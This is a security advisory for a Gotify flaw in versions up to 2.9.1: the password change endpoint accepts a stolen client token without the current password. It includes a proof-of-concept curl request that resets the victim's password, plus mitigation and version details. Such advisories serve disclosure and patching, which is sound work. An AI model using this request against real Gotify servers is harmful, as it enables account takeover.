Advisory

GHSA-3hcj-9m7p-wwm9

Also known as: CVE-2026-102603, GO-2026-6772

Summary

Gotify: Insufficiently Protected Password Change endpoint

Details

The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.

PoC

# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"

curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK

Mitigation

  • Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
  • Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-10-15 20:15 UTC
Modified
2026-10-19 21:41 UTC

Affected packages and fixes

github.com/gotify/server/v2

Go · All systems

Affected

  • introduced 0, last affected 2.9.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

github.com/gotify/server/v3

Go · All systems

Affected

  • introduced 0, fixed 3.0.0 (semver)

Fixed versions

3.0.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences